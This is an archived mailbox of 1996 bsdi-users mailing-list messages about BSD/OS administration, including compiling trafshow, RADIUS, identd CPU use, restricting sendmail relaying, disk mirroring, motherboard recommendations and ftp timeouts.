Less-Puzzled Unix Guy From VM Tue Nov 12 00:13:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1308" "Mon" "11" "November" "1996" "09:40:53" "-0800" "Stephen Roderick" "steve@proaxis.com" nil "37" "Re: Tracking Usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07060 for ; Mon, 11 Nov 1996 13:00:49 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id MAA02458 for bsdi-users-outgoing; Mon, 11 Nov 1996 12:41:15 -0500 (EST) In-Reply-To: <199611110812.DAA17653@home.pcrealm.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Roderick Sender: owner-bsdi-users@lists.gateway.com To: BSDI Mail cc: "bsdi-users@BSDI.COM" Subject: Re: Tracking Usage Date: Mon, 11 Nov 1996 09:40:53 -0800 (PST) On Mon, 11 Nov 1996, BSDI Mail wrote: > Hello there, I downloaded and attempted to compile trafshow 2.0, and I get the following error: > Build library in /usr/home/internex/trafshow-2.0/lib > shlicc2 -O2 -I../include -c interfaces.c > In file included from interfaces.c:24: > /usr/include/net/if_slvar.h:57: syntax error before `vjc_t' > interfaces.c: In function `bpf_slip': > interfaces.c:109: `SLIP_HDRLEN' undeclared (first use this function) > interfaces.c:109: (Each undeclared identifier is reported only once > interfaces.c:109: for each function it appears in.) > *** Error code 1 > > Stop. > *** Error code 1 > > this error pops up on two bsdi 2.1 machines that I have... can someone send me a compiled version > of trafshow? or give me any clues of how to solve this problem? > I got it to compile under 2.0 without any problems. There seems to be some (slightly greater than minor) changes in 2.1 that I was not able to overcome. I just use the same binary under 2.1. I will forward a copy to you separately. Perhaps someone else has ported this to 2.1? Steve --- Steve Roderick ProAxis Communications, Inc. steve@proaxis.com Internet Access Provider (541) 757-0248 From VM Tue Nov 12 00:13:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["142" "Sat" "9" "November" "1996" "10:40:06" "-0800" "Mark K. Mellis" "mkm@mellis.com" nil "6" "passive-backplane hardware?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07695 for ; Mon, 11 Nov 1996 13:28:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA02596 for bsdi-users-outgoing; Mon, 11 Nov 1996 13:19:49 -0500 (EST) Message-Id: <199611091840.KAA01082@alpha.mellis.com> Precedence: bulk From: "Mark K. Mellis" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com Subject: passive-backplane hardware? Date: Sat, 09 Nov 1996 10:40:06 -0800 Do any of you BSDI-users out there have experience with running BSD/OS on passive-backplane PC hardware that you'd like to share? ...Mark From VM Tue Nov 12 00:13:53 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["499" "" "11" "November" "1996" "17:46:04" "GMT" "David Bauman" "davidb@zeus.anet-dfw.com" nil "16" "Re: RADIUS & BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07708 for ; Mon, 11 Nov 1996 13:30:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA02567 for bsdi-users-outgoing; Mon, 11 Nov 1996 13:18:17 -0500 (EST) Path: zeus.anet-dfw.com!davidb Newsgroups: info.bsdi.users Organization: ANET-USA 1-800-776-8894 Lines: 15 Message-ID: <567oos$89e@news1.anet-dfw.com> References: NNTP-Posting-Host: zeus.anet-dfw.com X-Newsreader: TIN [version 1.2 PL2] Precedence: bulk From: davidb@zeus.anet-dfw.com (David Bauman) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: RADIUS & BSDI Date: 11 Nov 1996 17:46:04 GMT Brian Hess (brian@usaor.net) wrote: : I just upgraded to radius 2.0 on my BSDI 2.1 server and I am trying to : implent using the Auth-Type = System command. It appears this does not : work since BSDI uses shadow passwords. So I downloaded the source removed : the -DNOSHADOW password but when I go to make it, it is looking for a file : called shadow.h. Is this on my system somewhere or is it supposed to be : with the BSDI stuff? You can use shadowed passwords Puser Password = "UNIX" DB From VM Tue Nov 12 00:13:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1329" "Sat" "9" "November" "1996" "10:32:22" "-0500" "Thom Henderson" "thom@esva.net" nil "30" "Re: identd Process CPU Utilization" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07719 for ; Mon, 11 Nov 1996 13:30:14 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA02590 for bsdi-users-outgoing; Mon, 11 Nov 1996 13:19:29 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!news1.mnsinc.com!news.esva.net!server.esva.net!thom Newsgroups: info.bsdi.users Organization: The Eastern Shore of Virginia Network Lines: 30 Message-ID: References: <3280D521@SMTPGTWY.WANG.COM> NNTP-Posting-Host: server.esva.net Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII In-Reply-To: <3280D521@SMTPGTWY.WANG.COM> Precedence: bulk From: Thom Henderson Sender: owner-bsdi-users@lists.gateway.com To: "Noel, Richard" Subject: Re: identd Process CPU Utilization Date: Sat, 9 Nov 1996 10:32:22 -0500 On 6 Nov 1996, Noel, Richard wrote: > Today I noticed the identd process is consistently utilizing > large amounts of CPU time, ranging from a low (that I've seen > via top) of 12% to a high of 64% and spending a lot of time in > the 50% range. Thanks. I'm glad it's not just me. For the last couple of days identd has been burning up cycles on my system. After much head-scratching (and after seeing that inetd should start a new one if it needs it) I finally killed the sucker yesterday. So far everything still seems to be working. > I found in USAH and Sendmail that the identd process is used by sendmail > to identify the user and host that initiate network connections. You're ahead of me. I found man identd to be one of the more obscure cases in so far as explaining what the heck this thing is, does, or is good for. > Could anyone suggest where I might look to determine what is causing > identd to consume so much CPU time ? I would love to know that too. My gut feeling at this point is that it just has a nonzero chance of getting stuck, and the answer is to kill it when/if you see it. (a) It didn't seem to be degrading system performance all *that* badly, (b) killing it didn't seem to hurt anything, and (c) inetd.conf lists it as a "nowait". fFurther enlightenment would be most welcome. From VM Tue Nov 12 00:13:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1095" "Mon" "11" "November" "1996" "13:13:22" "-0500" "Adena Teague" "ateague@mgsinc.com" nil "28" "Daily Insecurity report" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA07987 for ; Mon, 11 Nov 1996 13:32:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA02621 for bsdi-users-outgoing; Mon, 11 Nov 1996 13:26:50 -0500 (EST) Message-Id: <2.2.32.19961111181322.006a3d90@mgsinc.com> X-Sender: ateague@mgsinc.com X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Adena Teague Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Daily Insecurity report Date: Mon, 11 Nov 1996 13:13:22 -0500 Hello. I am getting the following string of errors in my daily insecurity report. I am not familiar with awk, but I can see that it is used often in the file used to generated the insecurity report. I have looked at the man page for awk, but have been unable to figure out what to make of this error. Can anyone offer me any help on what causes this type of error or where to look for more information. Thanks in advance. awk: cmd. line:2: fatal error: internal error abort - core dumped awk: cmd. line:2: fatal error: internal error abort - core dumped awk: cmd. line:2: fatal error: internal error abort - core dumped awk: cmd. line:4: fatal error: internal error abort - core dumped awk: cmd. line:2: fatal error: internal error abort - core dumped awk: cmd. line:2: fatal error: internal error abort - core dumped awk: cmd. line:2: fatal error: internal error abort - core dumped awk: cmd. line:2: fatal error: internal error abort - core dumped Adena Teague ateague@mgsinc.com From VM Tue Nov 12 00:13:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1309" "Mon" "11" "November" "1996" "11:07:03" "-0800" "Robert E. Gahl" "bgahl@thesphere.com" nil "26" "Sendmail security" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA08802 for ; Mon, 11 Nov 1996 14:09:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA02707 for bsdi-users-outgoing; Mon, 11 Nov 1996 14:07:21 -0500 (EST) Message-Id: <3.0b26.32.19961111110701.00981cf0@mailhost.thesphere.com> X-Sender: bgahl@mailhost.thesphere.com X-Mailer: Windows Eudora Pro Version 3.0b26 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: "Robert E. Gahl" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Sendmail security Date: Mon, 11 Nov 1996 11:07:03 -0800 I suspect this is not strictly a bsdi issue, and sendmail tends to be basically sendmail just about everywhere, but here's the issue, and I was wondering if anyone had a solution to this. I need to restrict who can access sendmail, or maybe just the smtp port. What I'm beginning to see on our systems, and others around the internet, is that people (for lack of a more appropo but highly inflamitory word) are using other hosts sendmail to forward their mail to disquise their headers. As I supply many pop accounts to people not local to my network (virtual hosting and such), I need a way to restrict this from the likes of warez (the current infiltrator). That is, I only want our customers to be able to use our sendmail. It would refuse any connection from anywhere else. I suspect this may well be impossible to do, based on the way mail works (or my limited understanding of the way mail works). Any ideas would be gratefully appreciated. Bob Gahl Bicycle (Ryan Vanguard) Mobile || @ ARPA/Internet: bgahl@thesphere.com || !_ \ URL: http://www.thesphere.com/~bgahl/ || (*)-~--+--(*) "If you're trying to be politically correct you're like a chameleon in front of a mirror. What can you say that won't be offensive to somebody?" Robin Williams From VM Tue Nov 12 00:13:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1561" "Mon" "11" "November" "1996" "13:56:49" "-0500" "Sam Brown" "root@ns2.clever.net" nil "47" "Re: Tracking Usage" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA08807 for ; Mon, 11 Nov 1996 14:12:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id NAA02676 for bsdi-users-outgoing; Mon, 11 Nov 1996 13:59:10 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: Stephen Roderick cc: BSDI Mail , "bsdi-users@BSDI.COM" Subject: Re: Tracking Usage Date: Mon, 11 Nov 1996 13:56:49 -0500 (EST) Just use the 2.0 binary :) Or undefine slip support... Im sure trafshow 2.0 binary is around or i can put it up on my site. Sam On Mon, 11 Nov 1996, Stephen Roderick wrote: > On Mon, 11 Nov 1996, BSDI Mail wrote: > > > Hello there, I downloaded and attempted to compile trafshow 2.0, and I get the following error: > > Build library in /usr/home/internex/trafshow-2.0/lib > > shlicc2 -O2 -I../include -c interfaces.c > > In file included from interfaces.c:24: > > /usr/include/net/if_slvar.h:57: syntax error before `vjc_t' > > interfaces.c: In function `bpf_slip': > > interfaces.c:109: `SLIP_HDRLEN' undeclared (first use this function) > > interfaces.c:109: (Each undeclared identifier is reported only once > > interfaces.c:109: for each function it appears in.) > > *** Error code 1 > > > > Stop. > > *** Error code 1 > > > > this error pops up on two bsdi 2.1 machines that I have... can someone send me a compiled version > > of trafshow? or give me any clues of how to solve this problem? > > > > I got it to compile under 2.0 without any problems. There seems to be > some (slightly greater than minor) changes in 2.1 that I was not able to > overcome. I just use the same binary under 2.1. I will forward a copy to > you separately. > > Perhaps someone else has ported this to 2.1? > > > > Steve > > --- > Steve Roderick ProAxis Communications, Inc. > steve@proaxis.com Internet Access Provider > (541) 757-0248 > > From VM Tue Nov 12 00:13:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["343" "Mon" "11" "November" "1996" "15:18:23" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "16" ">256MB of Ram" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA09084 for ; Mon, 11 Nov 1996 14:19:47 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA02755 for bsdi-users-outgoing; Mon, 11 Nov 1996 14:18:46 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: >256MB of Ram Date: Mon, 11 Nov 1996 15:18:23 -0400 (AST) Just to clarify where my questino regarding BSD/OS 2.1 (and 3.0's) ability to address more than 256 MB of RAM came from, the web site, under the specs for 2.1 states the following: "RAM 4 MB minimum, 256 MB maximum; 8 MB minimum when running X11." Wondering if that wasn't updated or there is a patch etc. -- Jeff jacampbe@is2.dal.ca From VM Tue Nov 12 00:13:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["243" "Mon" "11" "November" "1996" "13:54:14" "-0500" "Ted Leslie" "tleslie@titan.tcn.net" nil "10" "First Virtual running on BSDI via Apache (Help Needed)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA09089 for ; Mon, 11 Nov 1996 14:20:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA02733 for bsdi-users-outgoing; Mon, 11 Nov 1996 14:14:21 -0500 (EST) Message-Id: <199611111854.NAA06660@titan.tcn.net> X-Mailer: ELM [version 2.4 PL24] Content-Type: text Precedence: bulk From: Ted Leslie Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: First Virtual running on BSDI via Apache (Help Needed) Date: Mon, 11 Nov 1996 13:54:14 -0500 (EST) Anyone got Virtual Cash (First Virtual) working on the BSDI Apache Web Server? If so, anyone got a Makefile that actually properly installs their software. B.T.W what is the mh that is refered to in their distribution. Thanks, Ted Leslie From VM Tue Nov 12 00:13:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2213" "Mon" "11" "November" "1996" "14:12:57" "EST" "salyzyn@inet.dpt.com" "salyzyn@inet.dpt.com" nil "80" "Re[2]: Mirroring Hard Drives" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA09094 for ; Mon, 11 Nov 1996 14:20:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA02761 for bsdi-users-outgoing; Mon, 11 Nov 1996 14:19:08 -0500 (EST) Message-Id: <9610118477.AA847750497@inet.dpt.com> Precedence: bulk From: "Salyzyn" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, Raymond Jolin , andrew@industries.net Subject: Re[2]: Mirroring Hard Drives Date: Mon, 11 Nov 96 14:12:57 EST The hardware solution is to set up a RAID-1 on a DPT controller card, it will ensure that both drives maintain the same data, and will scatter reads from the drives to increase performance. In addition it will maintain a `hot spare' drive to replace a failed mirror drive, and can also allow you to hot swap the drive (using an appropriate SCSI backplane). Sincerely -- Mark Salyzyn ______________________________ Reply Separator _________________________________ Subject: RE: Mirroring Hard Drives Author: Raymond Jolin at inet Date: 1996/11/11 2:07 PM I used the second software solution (B) and all worked ok except = ownership was changed on the mirror drive to root wheel on everything. = My mirror drive is on another machine so I use nfs to mount it. My = exports file is probably the problem=20 /bkroot -alldirs -maproot=3Droot xxx.xxx.xxx.xx What do I need to change? Thanks Ray ---------- From: Andrew Longsworth[SMTP:andrew@industries.net] Sent: Friday, November 08, 1996 4:03 PM To: Jacob M. Parnas Cc: bsdi-users@BSDI.COM Subject: Re: Mirroring Hard Drives At 9:44 AM -0500 11/8/96, Jacob M. Parnas wrote: >Couldn't you newfs or rm -rf the area that you mirror to right before = the >mirror? > >Jacob >--- That makes the mirror process a MUCH more processor/disk intensive task, and increases the amount of time an update would take. I have received = two solutions to software disk mirroring and a suggestion to use a hardware solution. Here are the two software solutions: A) Thanks to Gordon Henderson for this solution If both drives are the same size, then make sure thay both have the same labels, then dd if=3D/dev/wd0c of=3D/dev/wd2c bs=3D4096k will do the job nicely. B) Thanks to Bill Webb for this solution for the first time dump 0fu - / | ( cd /newroot; restore rf - ) and for each time period afterwards: dump 1fu - / | ( cd /newroot; restore rf - ) For the hardware option, I haven't had time to do a web search, but I'm confident that there is a solution out there for a low cost with a lot = of feature. Andrew Less-Puzzled Unix Guy From VM Tue Nov 12 00:14:07 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1907" "Mon" "11" "November" "1996" "14:56:45" "-0500" "Sam Brown" "root@ns2.clever.net" nil "42" "Re: Sendmail security" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10281 for ; Mon, 11 Nov 1996 15:04:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id OAA02850 for bsdi-users-outgoing; Mon, 11 Nov 1996 14:58:26 -0500 (EST) In-Reply-To: <3.0b26.32.19961111110701.00981cf0@mailhost.thesphere.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sam Brown Sender: owner-bsdi-users@lists.gateway.com To: "Robert E. Gahl" cc: bsdi-users@BSDI.COM Subject: Re: Sendmail security Date: Mon, 11 Nov 1996 14:56:45 -0500 (EST) People that use mail-relays, Really need to use Qmail, esp since it installs so cleanly on bsdi 2.1.. Its 5x faster at least, and takes care of all virtual domain mailing Easily without crappy rule sets and its a really good relay point(my primary desire to use). It has an easy acl sorta to do this, and is so simple, no sendmail book is necessary. I believe somewhere who reads this does some development they may wish to point us to the right place for the latest version. Sam Clever.net admin On Mon, 11 Nov 1996, Robert E. Gahl wrote: > I suspect this is not strictly a bsdi issue, and sendmail tends to be > basically sendmail just about everywhere, but here's the issue, and I was > wondering if anyone had a solution to this. > > I need to restrict who can access sendmail, or maybe just the smtp port. > What I'm beginning to see on our systems, and others around the internet, > is that people (for lack of a more appropo but highly inflamitory word) are > using other hosts sendmail to forward their mail to disquise their headers. > As I supply many pop accounts to people not local to my network (virtual > hosting and such), I need a way to restrict this from the likes of warez > (the current infiltrator). > > That is, I only want our customers to be able to use our sendmail. It would > refuse any connection from anywhere else. I suspect this may well be > impossible to do, based on the way mail works (or my limited understanding > of the way mail works). > > Any ideas would be gratefully appreciated. > > Bob Gahl Bicycle (Ryan Vanguard) Mobile || @ > ARPA/Internet: bgahl@thesphere.com || !_ \ > URL: http://www.thesphere.com/~bgahl/ || (*)-~--+--(*) > "If you're trying to be politically correct you're like a chameleon > in front of a mirror. What can you say that won't be offensive to > somebody?" Robin Williams > From VM Tue Nov 12 00:14:08 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["433" "Mon" "11" "November" "1996" "12:13:29" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "14" "Re: preferred auto responder" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10486 for ; Mon, 11 Nov 1996 15:06:37 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA02869 for bsdi-users-outgoing; Mon, 11 Nov 1996 15:04:56 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: jimtoro@hoflink.com cc: bsdi-users@BSDI.COM Subject: Re: preferred auto responder Date: Mon, 11 Nov 1996 12:13:29 -0800 (PST) On Sun, 10 Nov 1996 jimtoro@hoflink.com wrote: > > Is there a preferred program/server to use as an AutoResponder for BSDI > 2.1? > . > I want to setup something to send out small (<25k) texts for my users > via an autoresponder. I dont want to replace any existing software if I > dont have to, I would prefer to add something instead, but dont know what. > procmail comes with formail which will do just what you want. Amy :) From VM Tue Nov 12 00:14:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1188" "Mon" "11" "November" "1996" "15:04:42" "+0000" "Jim Cassata" "jim@web-ex.com" nil "32" "Re: Motherboard Rec" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10492 for ; Mon, 11 Nov 1996 15:06:48 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA02861 for bsdi-users-outgoing; Mon, 11 Nov 1996 15:00:27 -0500 (EST) Message-Id: <199611112038.PAA08043@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell , bsdi-users@BSDI.COM Subject: Re: Motherboard Rec Date: Mon, 11 Nov 1996 15:04:42 +0000 > > Hi all, just wondering what you reccommend for a Pentium > 133/166/200 motherboard with 4 PCI and 3 or 4 ISA slots at the moment. > Onboard IDE and serial/parallel. Pereferably with 6 SIMM slots instead of > four. I've be interested in knowing what people are running under BSD/OS > 2.1 especially in their news and web machines. Thanks. We just built a system with the Tyan Tomcat 3 MB. Very happy with it. 4 PCI and 5 ISA (1 shared, of course). 8 simm slots. On board error correction with parity ram (ECC). much more. excellent product, reasonable price (paid $185) > And is there a motherboard supplier you recommend? I've had good > luck with Motherboards International out of AZ but I haven't dealt with > them in over a year. http://www.asacomputers.com. I would recommend calling them instead of buying off the Web site. This way you can take advantage of their expertise in PC based UNIX systems. ask for Kedar. for no additional charge they installed my ram and cpu and configured all the jumpers. Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Tue Nov 12 00:14:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1245" "Mon" "11" "November" "1996" "13:13:46" "-0700" "The Doctor" "doctor@doctor.nl2k.edmonton.ab.ca" nil "47" "Re: Need BSDI in Wenatchee Wa" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10490 for ; Mon, 11 Nov 1996 15:06:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA02875 for bsdi-users-outgoing; Mon, 11 Nov 1996 15:06:16 -0500 (EST) Message-Id: <199611112013.NAA21654@doctor.nl2k.edmonton.ab.ca> In-Reply-To: from "Micah Anderson" at Nov 11, 96 11:51:45 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: The Doctor Sender: owner-bsdi-users@lists.gateway.com To: micah@smmedia.com (Micah Anderson) Cc: bsdi-users@BSDI.COM Subject: Re: Need BSDI in Wenatchee Wa Date: Mon, 11 Nov 1996 13:13:46 -0700 (MST) > > > Which ISP is that? I helped set up an ISP over there and I believe it was > Televar that we were competing with and as I recall they were trying to > run HP-UX... Is this who is failing? :) 10/10!! Televar's Hp-UX cannot handle the heavy load. > > Micah > > On Sat, 9 Nov 1996, The Doctor > wrote: > > > Date: Sat, 9 Nov 1996 21:18:56 -0700 (MST) > > From: The Doctor > > To: "Matthew R. Sheahan" > > Cc: bsdi-users@BSDI.COM > > Subject: Re: Need BSDI in Wenatchee Wa > > > > > > > > > Opportunity!! ISP runnin HP-UX Os failing!! > > > > > > > > BSDI needed! > > > > > > As in, you need a copy, or you need administrative consulting? I can help > > > out with the latter. > > > > > > | Matthew R. Sheahan | > > > | Crystal Palace Networking | > > > > > > > As In a BSDI box is needed for a Wenatchee ISP!! > > > > _______________________________________________________________________________ > Micah Johan Eckman Anderson micah@smmedia.com > Sr. Systems Administrator 1-888-614-3709 > Schmidt Mead Media, Inc. pagemicah@smmedia.com > ------------------------------------------------------------------------------- > > From VM Tue Nov 12 00:14:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["561" "Mon" "11" "November" "1996" "15:18:29" "+0000" "Jim Cassata" "jim@web-ex.com" nil "25" "Re: ftp problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA10790 for ; Mon, 11 Nov 1996 15:23:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA02915 for bsdi-users-outgoing; Mon, 11 Nov 1996 15:17:54 -0500 (EST) Message-Id: <199611112052.PAA08057@web-ex.com> Comments: Authenticated sender is MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Reply-to: jim@web-ex.com X-mailer: Pegasus Mail for Windows (v2.42a) Precedence: bulk From: "Jim Cassata" Sender: owner-bsdi-users@lists.gateway.com To: Roch Pageau , bsdi-users@BSDI.COM Subject: Re: ftp problems Date: Mon, 11 Nov 1996 15:18:29 +0000 > > Why is it timing out after 900 seconds, did I set this up somewhere ???? d????? 900 seconds is the default timeout. If you want to change it, you can alter the line in inetd.conf to use a different argument for the default timeout. Mine reads: ftp stream tcp nowait root /usr/libexec/tcpd ftpd -l -A -t1800 this gives me 30 minutes. as for the rest of your questions: I don't know :-) Jim Cassata ______________________ jim@web-ex.com Web Express, Inc. 20 Broadhollow Road Suite 3011 Melville, NY 11747 516.421.6000 516.421.3882 fax From VM Tue Nov 12 00:14:17 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["325" "" "11" "November" "1996" "20:42:12" "GMT" "cesar@voyager.co.nz" "cesar@voyager.co.nz" nil "14" "Install Patches" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA11893 for ; Mon, 11 Nov 1996 16:01:05 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA03040 for bsdi-users-outgoing; Mon, 11 Nov 1996 15:53:54 -0500 (EST) Path: news Newsgroups: info.bsdi.users Organization: OzEmail Ltd - Australia Lines: 13 Message-ID: <01bbcfab$dc06a1c0$081815cb@ii.net.voyager.co.nz> NNTP-Posting-Host: 203.21.24.8 X-Newsreader: Microsoft Internet News 4.70.1155 Precedence: bulk From: "cesar" Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Install Patches Date: 11 Nov 1996 20:42:12 GMT hello, I'm real new to BSDI, and I really need help. My BSDI documentation is sparse, can someone describe the proper methodology on installing individual kernel patches (rather than from floppy at install) for version 2.1? Alternatively can someone show me where I can grab a full manual from the net? Much Thanks, From VM Tue Nov 12 00:14:18 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["483" "Mon" "11" "November" "1996" "15:52:15" "-0500" "Fletcher E. Kittredge" "fkittred@gwi.net" nil "17" "Re: Sendmail security " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id QAA11901 for ; Mon, 11 Nov 1996 16:01:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id PAA03048 for bsdi-users-outgoing; Mon, 11 Nov 1996 15:54:27 -0500 (EST) Message-Id: <199611112052.PAA22730@river.biddeford.com> Reply-To: bsdi-users@BSDI.COM In-reply-to: Your message of "Mon, 11 Nov 1996 11:07:03 PST." <3.0b26.32.19961111110701.00981cf0@mailhost.thesphere.com> Precedence: bulk From: Fletcher E Kittredge Sender: owner-bsdi-users@lists.gateway.com To: "Robert E. Gahl" cc: bsdi-users@BSDI.COM Subject: Re: Sendmail security Date: Mon, 11 Nov 1996 15:52:15 -0500 On Mon, 11 Nov 1996 11:07:03 -0800 "Robert E. Gahl" wrote: > That is, I only want our customers to be able to use our sendmail. It would > refuse any connection from anywhere else. I suspect this may well be > impossible to do, based on the way mail works (or my limited understanding > of the way mail works). > > Any ideas would be gratefully appreciated. Piece 'o Cake. Remember BSDI is the premier firewall O/S. Try: % man tcpd and move on from there. regards, fletcher From VM Tue Nov 12 00:14:19 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil 